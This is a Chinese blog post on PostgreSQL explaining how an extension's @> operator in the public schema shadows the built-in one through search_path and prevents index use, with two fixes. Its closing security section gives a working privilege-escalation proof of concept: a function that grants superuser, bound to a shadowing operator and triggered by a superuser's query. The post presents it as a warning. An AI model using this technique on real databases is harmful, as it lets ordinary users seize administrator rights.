PostgreSQL 同名 index operator search_path优先级引入的一个问题 - 为啥突然不走索引了？ - i...

ゝ一世哀愁。 2022-02-14 13:58 79阅读 0赞

### 标签 ###

PostgreSQL , intarray , ops , operator , OPERATOR , 操作符路径 , search\_path , 优先级

--------------------

## 背景 ##

操作符是数据库最常用的要素之一，一个SQL语句中总是会出现它的影子。

select * from tbl where id=1;

这里的=就是操作符。

实际上操作符的底层还是函数，操作符是函数的综合体。

1、PostgreSQL不仅仅允许用户自定义函数，也允许我们自定义操作符。具体见创建操作符的语法。

[https://www.postgresql.org/docs/11/static/sql-createoperator.html][https_www.postgresql.org_docs_11_static_sql-createoperator.html]

2、PostgreSQL还允许用户自定义索引接口，因此操作符能否使用索引，能使用什么索引接口，这些都可以定义。并且也有对应关系。

[https://www.postgresql.org/docs/11/static/sql-createopclass.html][https_www.postgresql.org_docs_11_static_sql-createopclass.html]

3、PostgreSQL还有一个namespace(schema)的概念，也就是说用户自定义的对象，放在namespace里面。那么我们调用函数，使用操作符时，用的是哪个schema下面的函数与操作符呢？

这个则取决于数据库的search\_path参数，有默认值。

postgres=# show search_path ;    
       search_path       
    -----------------    
     "$user", public    
    (1 row)

通常系统内置的操作符、函数等都在pg\_catalog这个schema下面，它在默认路径的末端。

### 问题来了 ###

在使用过程中，如果我们创建了与系统内置操作符同名的操作符，并且被优先搜索到（例如放在了user或public下面），可能出现什么情况呢？

思考他们的关系

op    
        
    udf    
        
    opclass    
        
    index

下面我们来看个例子。

## 例子, 数组包含查询、透视 ##

我们这里有个例子，是演示数组包含查询、透视。通过gin或rum索引来进行加速。

然而演示过程中，出现了“诡异”的问题。怎么都不走索引了？

1、生成随机数组

create or replace function gen_rand_arr(int,int) returns int[] as $$    
      select array(select (random()*$1)::int from generate_series(1,$2));    
    $$ language sql strict;

2、创建测试表

drop table t1;    
    create table t1 (id int, c1 int, arr int[]);

3、写入1000万数据

insert into t1 select id, random()*100, gen_rand_arr(100,10)     
    from generate_series(1,10000000) t(id);

4、创建数组索引（分别创建rum与gin索引接口的索引，只为测试目的）

create index idx_t1_1 on t1 using rum (arr);      
        
    create index idx_t1_2 on t1 using gin (arr);

5、查看样本数据

postgres=# select * from t1 limit 10;    
     id | c1 |               arr                   
    ----+----+---------------------------------    
      1 |  1 | {64,22,99,58,5,0,75,50,15,100}    
      2 | 83 | {8,81,82,70,86,92,26,4,69,11}    
      3 | 61 | {9,75,61,82,65,54,100,44,54,64}    
      4 | 66 | {53,22,71,54,97,21,69,97,4,77}    
      5 | 78 | {86,47,64,78,72,68,47,83,28,57}    
      6 | 58 | {89,38,23,43,38,67,97,2,33,50}    
      7 | 24 | {4,4,21,25,73,18,29,49,95,15}    
      8 | 96 | {59,93,68,27,40,52,55,97,10,44}    
      9 | 35 | {33,86,73,100,83,76,32,34,0,36}    
     10 | 38 | {21,61,10,39,91,59,34,6,55,93}    
    (10 rows)

6、使用数组包含查询，检查执行计划

postgres=# explain select count(*) from t1 where arr @> array[1,2];    
                               QUERY PLAN                                
    -----------------------------------------------------------------    
     Aggregate  (cost=248675.25..248675.26 rows=1 width=8)    
       ->  Seq Scan on t1  (cost=0.00..248457.00 rows=87300 width=0)    
             Filter: (arr @> '{1,2}'::integer[])    
    (3 rows)

### 未走索引问题分析 ###

为什么它没走索引呢？

原因是我们用到了一个非系统操作符`@>`，因为我们之前创建了intarray插件，这个插件包含了`@>`操作符，并创建在public下面。

这意味着，我们在使用`@>`时，调用了public下面的`@>`，并且这个`@>`操作符有它自己的ops，并不是gin默认的ops（系统中gin默认的是系统的gin ops）。

这就解开谜团了：

1、我们调用了intarray插件在public下新增的`@>`，并不是系统pg\_catalog下的`@>`。

contrib/intarray/intarray--1.2.sql    
        
        
    CREATE OPERATOR @> (    
            LEFTARG = _int4,    
            RIGHTARG = _int4,    
            PROCEDURE = _int_contains,    
            COMMUTATOR = '<@',    
            RESTRICT = _int_contains_sel,    
            JOIN = _int_contains_joinsel    
    );

2、这个`@>`，它本身是能走索引，但是它的OPS并不是系统的gin 索引默认的ops，而是新加的gin\_\_int\_ops这个OPS。

contrib/intarray/intarray--1.2.sql    
        
        
    CREATE OPERATOR CLASS gin__int_ops    
    FOR TYPE _int4 USING gin    
    AS    
            OPERATOR        3       &&,    
            OPERATOR        6       = (anyarray, anyarray),    
            OPERATOR        7       @>,    
            OPERATOR        8       <@,    
            OPERATOR        13      @,    
            OPERATOR        14      ~,    
            OPERATOR        20      @@ (_int4, query_int),    
            FUNCTION        1       btint4cmp (int4, int4),    
            FUNCTION        2       ginarrayextract (anyarray, internal, internal),    
            FUNCTION        3       ginint4_queryextract (_int4, internal, int2, internal, internal, internal, internal),    
            FUNCTION        4       ginint4_consistent (internal, int2, _int4, int4, internal, internal, internal, internal),    
            STORAGE         int4;

3、而我们创建的索引，用的是系统默认的GIN\_OPS，所以这就导致了我们上面例子的问题。他们没有对应起来。

怎么解决这个问题呢？

## 完整的操作符调用语法 ##

既然数据库有SCHEMA的概念，并且我们自定义的OP在不同的SCHEMA下可以重名，那么如果我们需要调用某个SCHEMA的OP怎么调用呢？

默认情况下，搜索OP，包括UDF，都是通过search\_path这个参数决定的，前面讲过了。所以我们在public下优先搜到了intarray创建的`@>`操作符，导致了前面不走索引的问题。

1、完整语法

expression operator expression (binary infix operator)    
    operator expression (unary prefix operator)    
    expression operator (unary postfix operator)    
        
        
    OPERATOR(schema.operatorname)

上面的情况，

1、方法1，我们通过改写SQL，就能用上索引，即，告诉数据库，我们需要调用哪个schema下面的op (与索引的ops对应起来即可).

postgres=# explain select count(*) from t1 where arr OPERATOR(public.@>) array[1,2];    
                               QUERY PLAN                                
    -----------------------------------------------------------------    
     Aggregate  (cost=248675.25..248675.26 rows=1 width=8)    
       ->  Seq Scan on t1  (cost=0.00..248457.00 rows=87300 width=0)    
             Filter: (arr @> '{1,2}'::integer[])    
    (3 rows)    
        
    postgres=# explain select count(*) from t1 where arr OPERATOR(pg_catalog.@>) array[1,2];    
                                        QUERY PLAN                                         
    -----------------------------------------------------------------------------------    
     Aggregate  (cost=68581.20..68581.21 rows=1 width=8)    
       ->  Bitmap Heap Scan on t1  (cost=986.77..68362.95 rows=87300 width=0)    
             Recheck Cond: (arr OPERATOR(pg_catalog.@>) '{1,2}'::integer[])    
             ->  Bitmap Index Scan on idx_t1_3  (cost=0.00..964.95 rows=87300 width=0)    
                   Index Cond: (arr OPERATOR(pg_catalog.@>) '{1,2}'::integer[])    
    (5 rows)

2、方法2，创建索引时，使用OP对应的OPS。

把原来的索引删掉，改成下面，或者你保留两个索引接口也可以（当然通常我们只需要一个，只要调用的OP与INDEX内的OPS对应即可）    
        
    drop index idx_t1_3;    
        
    create index idx_t1_3 on t1 using gin (arr gin__int_ops);

现在反过来了，默认的public的OP走了索引。

postgres=# explain select count(*) from t1 where arr OPERATOR(public.@>) array[1,2];    
                                        QUERY PLAN                                         
    -----------------------------------------------------------------------------------    
     Aggregate  (cost=68581.20..68581.21 rows=1 width=8)    
       ->  Bitmap Heap Scan on t1  (cost=986.77..68362.95 rows=87300 width=0)    
             Recheck Cond: (arr @> '{1,2}'::integer[])    
             ->  Bitmap Index Scan on idx_t1_3  (cost=0.00..964.95 rows=87300 width=0)    
                   Index Cond: (arr @> '{1,2}'::integer[])    
    (5 rows)    
        
    postgres=# explain select count(*) from t1 where arr OPERATOR(pg_catalog.@>) array[1,2];    
                                QUERY PLAN                                
    ------------------------------------------------------------------    
     Aggregate  (cost=248675.25..248675.26 rows=1 width=8)    
       ->  Seq Scan on t1  (cost=0.00..248457.00 rows=87300 width=0)    
             Filter: (arr OPERATOR(pg_catalog.@>) '{1,2}'::integer[])    
    (3 rows)

## 安全风险注意 ##

1、只要有权限，用户可以在public下面定义一堆与pg\_catalog下面重名的op，当超级用户执行一些SQL时，（如果设置了search\_path中包含public，）可能优先使用这些用户创建的public.OP，从而导致安全问题。

例如普通用户在函数中提权。

例子:

普通用户创建函数，提权。

postgres=> create or replace function hack(_int4,_int4) returns boolean as $$                  
    declare    
    begin    
      alter role test superuser; raise notice 'hacked';    
      return $1 operator(pg_catalog.@>) $2;    
    end;    
    $$ language plpgsql strict security invoker;    
    CREATE FUNCTION

普通用户创建pg\_catalog里面同名的OP到public下面

postgres=> create operator public.@> (procedure = hack, leftarg='_int4', rightarg='_int4');    
    CREATE OPERATOR

超级用户调用这个OP，导致提权。

postgres=# select * from t1 where arr @> array[1,2] limit 1;    
    NOTICE:  hacked    
      
    select 1 where array[1,2] @> array[1,2];

查看提权效果。

postgres=# \du+ test    
                      List of roles    
     Role name | Attributes | Member of | Description     
    -----------+------------+-----------+-------------    
     test      | Superuser  | {}        |

NOW, test变成超级用户了。

## 小结 ##

1、op, index, ops 最好对应起来，否则使用时很容易出现本文提到的问题。怎么就不走索引了？

2、如果需要自定义OP，尽量不要与系统的OP重名。

3、安全需要考虑，普通用户可下FUNCTION，OP与系统FUNCTION,OP重名陷阱，由于public的路径优先级高于pg\_catalog，所以超级用户调用这个操作符时，可导致提权。

## 参考 ##

[https://www.postgresql.org/docs/11/static/sql-expressions.html\#SQL-EXPRESSIONS-OPERATOR-CALLS][https_www.postgresql.org_docs_11_static_sql-expressions.html_SQL-EXPRESSIONS-OPERATOR-CALLS]

[https://www.postgresql.org/docs/11/static/intarray.html][https_www.postgresql.org_docs_11_static_intarray.html]

[https_www.postgresql.org_docs_11_static_sql-createoperator.html]: https://www.postgresql.org/docs/11/static/sql-createoperator.html
[https_www.postgresql.org_docs_11_static_sql-createopclass.html]: https://www.postgresql.org/docs/11/static/sql-createopclass.html
[https_www.postgresql.org_docs_11_static_sql-expressions.html_SQL-EXPRESSIONS-OPERATOR-CALLS]: https://www.postgresql.org/docs/11/static/sql-expressions.html#SQL-EXPRESSIONS-OPERATOR-CALLS
[https_www.postgresql.org_docs_11_static_intarray.html]: https://www.postgresql.org/docs/11/static/intarray.html